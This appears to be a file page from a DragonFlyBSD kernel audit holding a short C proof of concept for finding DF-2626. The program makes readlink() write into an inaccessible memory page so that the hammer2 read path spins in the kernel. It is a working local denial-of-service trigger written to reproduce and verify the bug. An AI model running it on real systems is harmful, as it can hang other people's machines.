DragonFlyBSD Kernel Audit
DF-2626 / readlink_poc.c
← back to finding ↓ download raw
/*
 * DF-2626 readlink variant. The symlink lives on the hammer2 root fs
 * (/home/maxx), readlink() reads its target string via VOP_READLINK ->
 * hammer2_vop_readlink -> hammer2_read_file (same discarded-error loop).
 * Destination is a PROT_NONE page -> fault at byte 0.
 */
#include <sys/mman.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BADADDR ((void *)0x10000000)
#define LINK "/home/maxx/df2626link"

int
main(void)
{
	void *bad;
	ssize_t r;

	if (symlink("/etc/rc", LINK) < 0 && errno != EEXIST) {
		perror("symlink");
		return (2);
	}
	bad = mmap(BADADDR, 4096, PROT_NONE,
		   MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (bad != BADADDR) {
		perror("mmap");
		return (2);
	}
	printf("DF-2626 readlink: calling readlink(%s, %p, 4096)\n",
	       LINK, BADADDR);
	fflush(stdout);

	r = readlink(LINK, BADADDR, 4096);	/* stock kernel: spins */

	printf("DF-2626 readlink returned %zd errno=%d (%s) — bug NOT reproduced\n",
	       r, errno, strerror(errno));
	return ((r == -1 && errno == EFAULT) ? 0 : 1);
}